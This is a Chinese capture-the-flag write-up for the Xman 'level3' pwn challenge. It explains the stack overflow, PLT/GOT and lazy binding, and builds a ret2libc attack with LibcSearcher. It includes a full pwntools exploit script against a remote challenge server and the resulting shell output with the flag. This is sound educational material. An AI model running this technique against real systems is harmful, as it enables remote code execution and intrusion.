题目描述:

libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

分析思路:

1、拿到文件后,首先查看文件的详细信息以及相应的安全机制:

tucker@ubuntu:~/pwn$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
tucker@ubuntu:~/pwn$ checksec level3
[*] '/home/tucker/pwn/level3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

32bit的ELF文件,开启了NX(栈不可执行)保护,因此shellcode基本没用武之地了。

2、使用IDA看一下,发现和前面的level差不多:

int __cdecl main(int argc, const char **argv, const char **envp)
{vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0;
}

其中,vulnerable_function()函数如下:

ssize_t vulnerable_function()
{char buf; // [esp+0h] [ebp-88h]write(1, "Input:\n", 7u);return read(0, &buf, 0x100u);
}

我们看到,此处给buf申请了0x88个byte,但是read读取了0x100bytes,存在明显的栈溢出。但是前面我们我们看到了NX,因此不能够执行栈上的代码,此时我们可以采用ROP(https://en.wikipedia.org/wiki/Return-oriented_programming)办法。

3、我们使用shift+F12查看字符串,没有发现/bin/sh,在导入的函数中,也没有system函数。但是我们发现了加载的libc动态链接库。

此处需要进行说明:

libc文件:

程序开始运行时,会把整个libc映射到内存中,以后在程序调用相关库函数时,会依据plt-got表的机制,将所需要的库函数加载到内存空间的某一个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能。

PLT和GOT表(可参考https://en.wikipedia.org/wiki/Global_Offset_Table)

PLT:(Procedure Linkage Table过程连接表)是ELF文件中用于延迟绑定的表,即函数第一次被调用时才进行绑定。

GOT:(Global Offset Table全局偏移表)是ELF文件中用于定位全局变量和函数的一个表。

延迟绑定:

延迟绑定就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过,就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。

当程序执行的时候,会载入libc文件,那么libc中的函数我们是可以调用的,我们可以通过GOT表在libc文件中找到system()和、bin/sh字符串在level3中的地址,但是libc文件中的地址和内存中的地址是平行映射的,所以要计算偏移量,进而求出system()和/bin/sh字符串的真实地址。

但是题目没有给出libc.so文件,而不同版本的libc基地址是不同的,但是我们可以通过LibcSearcher模块使用一些函数的真实位置对libc文件的 版本进行定位。

得到真实的libc文件版本后,就能够得到libc文件的基地址,然后加上需要的函数的偏移量,就能够得到该函数的真实地址。

解题思路

题目给出了vulerable_function(),其中有read()栈溢出,而libc版本的查找和得到shell需要两步进行,所以应该重复利用vulerable_function(),大致的pwn思路如下:

1.通过vulerable_function()的read()构造ROP得到PLT表中write()的位置
2.通过write()得到write()在程序中的真实地址
3.使用LibcSearcher得到libc版本(LibcSearcher可以参考https://github.com/lieanu/LibcSearcher)

(如果有libc文件,就可以直接使用ELF加载libc文件,并使用symbols进行符号查找)

4.在对应的libc版本中查找write()、system()、/bin/sh的真实地址
5.使用write()的程序地址和libc地址计算出偏移量
6.在system()、/bin/sh的真实地址上加上偏移量再通过vulerable_function()执行得到shell

Payload1构成: 0x88位填充buf + 0x4位填充EBP + 调用write() + vulnerable_function()作为返回地址 + 文件描述符 + got表write()位置 + 写入长度

Payload2构成: 0x88位填充buf + 0x4位填充EBP + 调用system() + exit()作为返回地址 + /bin/sh地址

注意:

文件描述符常用取值如下(https://en.wikipedia.org/wiki/File_descriptor):

编写的exp如下:

from pwn import *
from LibcSearcher import *# p = process("./level3")
p = remote("111.198.29.45", "36722")e = ELF("./level3")
write_plt = e.plt["write"]
write_got = e.got["write"]
vuln_addr = e.symbols["vulnerable_function"]p.recv()
payload1 = "a" * 0x88 + 'a' * 0x4 + p32(write_plt) + p32(vuln_addr) + p32(0x1) + p32(write_got) + p32(0x4)
p.sendline(payload1)write_addr = u32(p.recv(4))   #
print("write addr:" + hex(write_addr))libc = LibcSearcher("write", write_addr)
write_off = libc.dump('write')
bin_sh_off = libc.dump('str_bin_sh')
system_off = libc.dump('system')
exit_off = libc.dump('exit') libc_base = write_addr - write_offbin_sh_addr = libc_base + bin_sh_off
system_addr = libc_base + system_off
exit_addr = libc_base + exit_offp.recv()
payload2 = "a" * 0x88 + 'a' * 0x4 + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)
p.sendline(payload2)p.interactive()

运行即可得到flag:

tucker@ubuntu:~/pwn$ python level3.py
[+] Opening connection to 111.198.29.45 on port 36722: Done
[*] '/home/tucker/pwn/level3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
write addr:0xf76193c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{752b8764602954937c84dde4ee429f75}

(本文参考了大量  原始森林 大佬的http://virgin-forest.top/2019/05/18/ctf-xman-level3-libcsearcher/文章,膜拜)

Xman pwn level3 writeup相关推荐

  1. NCTF2019 -- PWN部分writeup

    pwn学习总结(二) -- PWN部分writeup warmup easy_rop warmup 查看程序防护: 查看反汇编: 已知条件: 开启了溢出检测 开启了沙盒模式,只能调用libc中的ope ...

  2. 2018 百越杯 pwn(format WriteUp)

    看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...

  3. 攻防世界(pwn) level3

    先下载附件;,这个附件压缩包里面有好几层,挨着打开就好了 题目没有提供 System函数 和 bin/sh 字符串 来供我们调用; 可以突破的点只有read函数.通过覆盖返回地址,执行两次main函数 ...

  4. hackme inndy pwn onepunch writeup

    继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...

  5. WMCTF 2021 pwn dy_maze writeup

      经过三天的奋战(摸鱼划水√),WMCTF 2021 终于结束,我们的萌新体验队在大家的共同努力下也拿到了前30的成绩,实在出乎我的预料.不过,对于我们的首次比赛而言,成绩是最次要的方面,队友们在比 ...

  6. volga-ctf-quals-2016 pwn web_of_scicen_250 writeup

    基本情况 我并没有参加这个比赛,只是作为练习用,所以无法模拟远程,只能本地调试 文件是64位的,运行之后先输入名字,然后每次都会输出这个名字,然后问你10道数学题,后面怎样的其实对这个版本的利用来说不 ...

  7. CGCTF pwn CGfsb writeup

    一.实验目的: 破解我的第一个pwn,获取flag(虽然也参考了别人*^*O*^*) 二.实验环境: Ubuntu 18.04 / gdb-peda  / pwntools Windows7 IDA ...

  8. 【CTF大赛】第五届XMan选拔赛 ezCM Writeup

    ezCM 直至比赛结束,这道题目都是 0 解题,一方面是因为比赛时间较短,另一方面还是因为这道题目较难,考察了不常见的椭圆曲线算法(ECC),大大增加了对做题者的要求. 题目信息 题目是使用 Gola ...

  9. [攻防世界 pwn]——level3

    题目地址: https://adworld.xctf.org.cn/ 题目: 以前写过这个write up请点击 偷个懒, 师傅们不要介意

  10. 180124 逆向-XMAN结营赛(前方高能)

    1625-5 王子昂 总结<2018年1月24日> [连续第481天总结] A. 结营赛前方高能WP B. 前方高能 XMAN第七组WriteUp 说实话好像确实有点难,不过逻辑链条很完整 ...

最新文章

  1. 文本类控件(EditView 的介绍)
  2. php动态修改配置文件
  3. Gosper 的序列 循环检测
  4. htpasswd java_mod_rewrite,reverseProxy和.Htpasswd
  5. 南方人第一次见到雪的样子。。。| 今日最佳
  6. web自动化测试(java)---测试过程中遇到的错误合集
  7. 外部依赖项很多未定义标识符_从日本编程书籍《我的第一本编程书》中译版看中文例程如何扬长避短——标识符(一)
  8. 【CodeForces - 1027C】Minimum Value Rectangle (数学,公式化简,思维,卡常卡memset)
  9. matlab怎么实现OFDM仿真,OFDMmatlab实现仿真源代码
  10. python中的axis=0和1代表什么
  11. 10.22 Ext JS 快速开发工具
  12. IP地址与数字地址相互转换
  13. hyperledger fabric v2.4 默认区块大小 配置文件位置
  14. php choosewxpay fail,人人商城常见问题解决方案
  15. 【老生谈算法】matlab实现无标度网络算法源码——无标度网络
  16. windows安装hbase1.4.9
  17. 有限元方法入门:有限元方法简单的一维算例
  18. python content函数_python函数内容
  19. Python爬虫从入门到精通:(6)数据解析2_使用bs4(BeautifulSoup)_Python涛哥
  20. react项目启动报错Plugin “react“ was conflicted

热门文章

  1. mysql实验报告4_实验四∶数据库安全性实验报告.doc
  2. 人民大学赵鑫:基于知识与推理的序列化推荐技术研究
  3. shader篇-透明效果
  4. 安防监控、智慧交通 视频结构化(车辆+行人)实现方案
  5. 最新CleanMyMac X4.12.1中文版Mac系统优化清理工具
  6. windowsXP sp2 to sp3 的升级包
  7. cv2 interpolate插值-align_corners
  8. 华为Datacom认证和Routing Switching认证并行多久?
  9. 一个挺好用的生成GIF格式图片的小程序
  10. CTF-BeesCMS系统漏洞分析溯源